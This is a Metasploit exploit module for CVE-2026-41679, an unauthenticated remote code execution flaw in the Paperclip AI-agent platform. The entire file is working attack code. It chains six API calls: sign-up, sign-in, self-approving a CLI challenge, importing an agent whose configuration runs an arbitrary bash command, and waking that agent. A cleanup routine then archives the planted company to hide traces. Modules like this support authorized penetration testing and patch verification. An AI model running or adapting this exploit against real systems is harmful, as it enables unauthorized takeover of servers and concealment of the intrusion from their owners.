## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).', 'Description' => %q{ Paperclip is the operating system for your AI company. You set the goals, hire AI agents as employees, and watch them plan and execute work. Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679. An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. The entire chain is six API calls. }, 'Author' => [ 'h00die-gr3y ', # Metasploit module 'Sagilayani https://github.com/sagilayani' # Discovery ], 'References' => [ ['CVE', '2026-41679'], ['GHSA', 'GHSA-68qg-g8mg-6pr7'], ['URL', 'https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'osx'], 'Privileged' => false, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => ['unix', 'linux', 'osx'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'Encoder' => 'cmd/base64', 'BadChars' => "\x20" # no space } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2026-04-10', 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 3100 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to the Paperclip instance', '/']) ]) end # Check if Paperclip instance is running and get the Paperclip version if published # return version number or 'N/A' (NOT AVAILABLE) else nil def get_paperclip_version res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'health') }) return unless res&.code == 200 && res.body.include?('status') && res.body.include?('deploymentMode') # check for version if res.body.include?('version') res_json = res.get_json_document res_json['version'] unless res_json.blank? else 'N/A' end end # CVE-2026-41679: Unauthenticated command injection leading to RCE via a chain of six API calls def execute_payload(cmd, _opts = {}) # randomize email address, name and password to be used in POST requests email = Rex::Text.rand_mail_address email_array = email.split('@') name = email_array[0].split('.')[0] password = Rex::Text.rand_text_alphanumeric(12..20) # 1. sign-up and register with a new user and password vprint_status('Step 1: sign-up and register a new user.') vprint_good("user => #{email}, password => #{password}") post_data = { email: email.to_s, password: password.to_s, name: name.to_s }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-up', 'email'), 'ctype' => 'application/json', 'data' => post_data.to_s }) unless res&.code == 200 && res.body.include?('createdAt') print_error('Step 1 failed: sign-up and register a new user.') return end # 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header. vprint_status('Step 2: sign-in with the new user credentials and get a session-cookie.') post_data = { email: email.to_s, password: password.to_s }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-in', 'email'), 'ctype' => 'application/json', 'data' => post_data.to_s }) unless res&.code == 200 && res.get_cookies && res.body.include?('token') print_error('Step 2 failed: sign-in with new user credentials.') return end cookie = res.get_cookies vprint_good("cookie => #{cookie}") # 3. create a CLI challenge and grab the id, token and boardApiToken vprint_status('Step 3: create a CLI challenge and get an API token.') command = Rex::Text.rand_text_alpha(6..8) post_data = { command: command.to_s }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges'), 'ctype' => 'application/json', 'data' => post_data.to_s }) unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id') print_error('Step 3 failed: create CLI challenge and get an API token.') return end res_json = res.get_json_document return if res_json.blank? id = res_json['id'] token = res_json['token'] @board_api_token = res_json['boardApiToken'] vprint_good("API token => #{@board_api_token}") # 4. Approve in your own session using the token, id and session cookie # We will need to add the Origin header for next API calls otherwise they will fail vprint_status('Step 4: approve the challenge in your session.') @origin = "#{datastore['ssl'] ? 'https' : 'http'}://#{datastore['rhost']}:#{datastore['rport']}" post_data = { token: token.to_s }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges', id.to_s, 'approve'), 'headers' => { 'Origin' => @origin }, 'cookie' => cookie.to_s, 'ctype' => 'application/json', 'data' => post_data.to_s }) unless res&.code == 200 && !res.body.include?('error') print_error('Step 4 failed: approve the challenge in your session.') return end # 5. Create a company and deploy an agent via import (authorization bypass) # This will configure the payload that will be executed by the process agent vprint_status('Step 5: create a company and deploy an agent with payload via import (authorization bypass).') vprint_good("payload => #{cmd}") post_data = { source: { type: 'inline', files: { 'COMPANY.md': "---\nname: MI6\nslug: MI6\n---\nx", 'agents/007/AGENTS.md': "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx", '.paperclip.yaml': "agents:\n 007:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - #{cmd}" } }, target: { mode: 'new_company', newCompanyName: 'MI6' }, include: { company: true, agents: true }, agents: 'all' }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'companies', 'import'), 'headers' => { 'Authorization' => "Bearer #{@board_api_token}", 'Origin' => @origin }, 'ctype' => 'application/json', 'data' => post_data.to_s }) unless res&.code == 200 && res.body.include?('id') print_error('Step 5 failed: create a company and deploy an agent with payload via import.') return end res_json = res.get_json_document return if res_json.blank? agent = res_json['agents']&.first agent_id = agent&.dig('id') @company_id = res_json['company']['id'] vprint_good("company_id => #{@company_id}, agent_id => #{agent_id}") # 6. Run the agent and trigger the payload vprint_status('Step 6: run the agent and trigger the payload. You should get a session now ;-).') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'agents', agent_id.to_s, 'wakeup'), 'headers' => { 'Authorization' => "Bearer #{@board_api_token}", 'Origin' => @origin }, 'ctype' => 'application/json', 'data' => nil }) unless res&.code == 202 print_error('Step 6 failed: run the agent and trigger the payload.') end end # try to archive the company and agent payload to cover our tracks def cleanup super # check if payload should be cleaned unless @company_id.nil? vprint_status('Cleaning up the mess...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'companies', @company_id.to_s, 'archive'), 'headers' => { 'Authorization' => "Bearer #{@board_api_token}", 'Origin' => @origin }, 'ctype' => 'application/json' }) if res&.code == 200 && res.body.include?('archived') print_good('Company and agent payload has been successfully archived.') else print_warning('Company and agent payload not archived. Try to remove it manually.') end end end def check version = get_paperclip_version return CheckCode::Safe('Can not find a Paperclip instance running.') if version.nil? return CheckCode::Detected('No Paperclip version found.') if version == 'N/A' version = Rex::Version.new(version) if version >= Rex::Version.new('2026.410.0') return CheckCode::Safe("Paperclip version #{version}") end CheckCode::Appears("Paperclip version #{version}") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") execute_payload(payload.encoded) end end